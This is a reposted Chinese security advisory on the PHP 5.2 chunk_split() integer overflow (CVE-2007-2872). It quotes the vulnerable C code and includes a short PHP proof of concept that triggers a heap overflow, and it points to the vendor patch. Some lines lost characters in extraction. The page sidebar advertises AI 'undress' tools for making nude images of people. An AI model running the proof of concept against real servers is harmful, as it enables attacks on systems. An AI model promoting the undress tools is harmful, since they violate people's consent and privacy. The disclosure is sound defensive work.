Maison développement back-end tutoriel php PHP5.2下chunk_split()函数整数溢出漏洞 分析_php文摘

PHP5.2下chunk_split()函数整数溢出漏洞 分析_php文摘

May 17, 2016 am 09:39 AM
分析

受影响系统:
PHP PHP 不受影响系统:
PHP PHP 5.2.3
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 24261
CVE(CAN) ID: CVE-2007-2872

PHP是一种流行的WEB服务器端编程语言。

PHP中的chunk_split函数在处理畸形参数时存在整数溢出漏洞,本地攻击者可能利用此漏洞提升自己的权限。

PHP中chunk_split函数的1963行试图为函数结果分配充分的内存大小,但没有执行任何检查便使用了srclen和chunklen参数块。如果值的块和endlen大于65534字节的话,就会触发整数溢出,分配错误的内存大小,导致堆溢出。

ext/standard/string.c:

1953 static char *php_chunk_split(char *src, int srclen, char *end,
int endlen, int chunklen, int *destlen)
1954 {
1955 char *dest;
1956 char *p, *q;
1957 int chunks; /* complete chunks! */
1958 int restlen;
1959
1960 chunks = srclen / chunklen;
1961 restlen = srclen - chunks * chunklen; /* srclen % chunklen */
1962
1963 dest = safe_emalloc((srclen + (chunks + 1) * endlen + 1),
sizeof(char), 0);
1964
1965 for (p = src, q = dest; p 1966 memcpy(q, p, chunklen);
1967 q += chunklen;
1968 memcpy(q, end, endlen);
1969 q += endlen;
1970 p += chunklen;
1971 }


链接:http://marc.info/?l=bugtraq&m=118071054000708&w=2
http://www.php.net/releases/5_2_3.php
http://secunia.com/advisories/25456/
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


$a=str_repeat("A", 65535);
$b=1;
$c=str_repeat("A", 65535);
chunk_split($a,$b,$c);
?>

建议:
--------------------------------------------------------------------------------
厂商补丁:

PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.php.net/downloads.php#v5

文章来自: 绿盟科技

Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn

Outils d'IA chauds

Undresser.AI Undress

Undresser.AI Undress

Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover

AI Clothes Remover

Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool

Undress AI Tool

Images de déshabillage gratuites

Clothoff.io

Clothoff.io

Dissolvant de vêtements AI

AI Hentai Generator

AI Hentai Generator

Générez AI Hentai gratuitement.

Article chaud

R.E.P.O. Crystals d'énergie expliqués et ce qu'ils font (cristal jaune)
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Meilleurs paramètres graphiques
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Comment réparer l'audio si vous n'entendez personne
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
WWE 2K25: Comment déverrouiller tout dans Myrise
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌

Outils chauds

Bloc-notes++7.3.1

Bloc-notes++7.3.1

Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise

SublimeText3 version chinoise

Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1

Envoyer Studio 13.0.1

Puissant environnement de développement intégré PHP

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel

SublimeText3 version Mac

SublimeText3 version Mac

Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Comment implémenter des statistiques et des analyses de données dans Uniapp Comment implémenter des statistiques et des analyses de données dans Uniapp Oct 24, 2023 pm 12:37 PM

Comment implémenter les statistiques et l'analyse des données dans uniapp 1. Introduction générale Les statistiques et l'analyse des données constituent une partie très importante du processus de développement d'applications mobiles. Grâce aux statistiques et à l'analyse du comportement des utilisateurs, les développeurs peuvent avoir une compréhension approfondie des préférences et de l'utilisation des utilisateurs. habitudes. Optimisant ainsi la conception du produit et l’expérience utilisateur. Cet article présentera comment implémenter des statistiques de données et des fonctions d'analyse dans uniapp, et fournira quelques exemples de code spécifiques. 2. Choisissez les outils de statistiques et d'analyse de données appropriés. La première étape pour mettre en œuvre les statistiques et l'analyse de données dans uniapp consiste à choisir les outils de statistiques et d'analyse de données appropriés.

Comment utiliser la base de données MySQL pour les prévisions et l'analyse prédictive ? Comment utiliser la base de données MySQL pour les prévisions et l'analyse prédictive ? Jul 12, 2023 pm 08:43 PM

Comment utiliser la base de données MySQL pour les prévisions et l'analyse prédictive ? Présentation : les prévisions et l'analyse prédictive jouent un rôle important dans l'analyse des données. MySQL, un système de gestion de bases de données relationnelles largement utilisé, peut également être utilisé pour des tâches de prédiction et d'analyse prédictive. Cet article explique comment utiliser MySQL pour la prédiction et l'analyse prédictive, et fournit des exemples de code pertinents. Préparation des données : Tout d’abord, nous devons préparer les données pertinentes. Supposons que nous souhaitions faire des prévisions de ventes, nous avons besoin d'un tableau contenant des données de ventes. Dans MySQL, nous pouvons utiliser

Comment utiliser le langage Go pour l'analyse de visualisation de données ? Comment utiliser le langage Go pour l'analyse de visualisation de données ? Jun 10, 2023 am 10:46 AM

Avec l’avènement de l’ère du Big Data, l’analyse de la visualisation des données joue un rôle essentiel dans tous les domaines. Langage de programmation rapide, efficace et sécurisé, le langage Go a progressivement pris une place dans le domaine de l’analyse de la visualisation de données. Cet article explorera comment utiliser le langage Go pour l'analyse de visualisation de données. 1. Plotly, une bibliothèque de visualisation de données couramment utilisée en langage Go : peut être utilisée pour créer des graphiques interactifs dans le navigateur et prend en charge une variété de types de graphiques, tels que des graphiques linéaires, des graphiques à barres, des nuages ​​de points, des cartes thermiques, etc. Gonum/plo

Surveillance et analyse des journaux en temps réel sous Linux Surveillance et analyse des journaux en temps réel sous Linux Jul 29, 2023 am 08:06 AM

Surveillance et analyse des journaux en temps réel sous Linux Dans la gestion quotidienne du système et le dépannage, les journaux constituent une source de données très importante. Grâce à la surveillance et à l'analyse en temps réel des journaux système, nous pouvons détecter à temps les situations anormales et les gérer en conséquence. Cet article explique comment effectuer une surveillance et une analyse des journaux en temps réel sous Linux et fournit des exemples de code correspondants. 1. Surveillance des journaux en temps réel Sous Linux, le système de journalisation le plus couramment utilisé est rsyslog. En configurant rsyslog, nous pouvons combiner les logs de différentes applications

Étapes de l'analyse statistique Étapes de l'analyse statistique Jun 28, 2023 pm 03:27 PM

L'analyse statistique fait souvent référence au processus de tri, de classification et d'interprétation des données pertinentes collectées. Les étapes de base de l'analyse statistique comprennent : 1. Collecter des données ; 2. Organiser les données ; 3. Analyser les données ;

Analyse des raisons pour lesquelles le répertoire secondaire du CMS DreamWeaver ne peut pas être ouvert Analyse des raisons pour lesquelles le répertoire secondaire du CMS DreamWeaver ne peut pas être ouvert Mar 13, 2024 pm 06:24 PM

Titre : Analyse des raisons et des solutions pour lesquelles le répertoire secondaire de DreamWeaver CMS ne peut pas être ouvert. Dreamweaver CMS (DedeCMS) est un puissant système de gestion de contenu open source largement utilisé dans la construction de divers sites Web. Cependant, parfois pendant le processus de création d'un site Web, vous pouvez rencontrer une situation dans laquelle le répertoire secondaire ne peut pas être ouvert, ce qui perturbe le fonctionnement normal du site Web. Dans cet article, nous analyserons les raisons possibles pour lesquelles le répertoire secondaire ne peut pas être ouvert et fournirons des exemples de code spécifiques pour résoudre ce problème. 1. Analyse des causes possibles : Problème de configuration des règles pseudo-statiques : pendant l'utilisation

Analyse de cas d'application Python dans les systèmes de transport intelligents Analyse de cas d'application Python dans les systèmes de transport intelligents Sep 08, 2023 am 08:13 AM

Résumé de l'analyse de cas d'application de Python dans les systèmes de transport intelligents : Avec le développement rapide des systèmes de transport intelligents, Python, en tant que langage de programmation multifonctionnel, facile à apprendre et à utiliser, est largement utilisé dans le développement et l'application de systèmes de transport intelligents. Cet article démontre les avantages et le potentiel d'application de Python dans le domaine du transport intelligent en analysant les cas d'application de Python dans les systèmes de transport intelligents et en donnant des exemples de code pertinents. Introduction Le système de transport intelligent fait référence à l'utilisation de moyens de communication, d'information, de détection et d'autres moyens techniques modernes pour communiquer via

Analyse des performances du code ThinkPHP6 : localisation des goulots d'étranglement des performances Analyse des performances du code ThinkPHP6 : localisation des goulots d'étranglement des performances Aug 27, 2023 pm 01:36 PM

Analyse des performances du code ThinkPHP6 : localisation des goulots d'étranglement des performances Introduction : Avec le développement rapide d'Internet, une analyse plus efficace des performances du code est devenue de plus en plus importante pour les développeurs. Cet article explique comment utiliser ThinkPHP6 pour effectuer une analyse des performances du code afin de localiser et de résoudre les goulots d'étranglement des performances. Dans le même temps, nous utiliserons également des exemples de code pour aider les lecteurs à mieux comprendre. Importance de l'analyse des performances L'analyse des performances du code fait partie intégrante du processus de développement. En analysant les performances du code, nous pouvons comprendre où beaucoup de ressources sont consommées

See all articles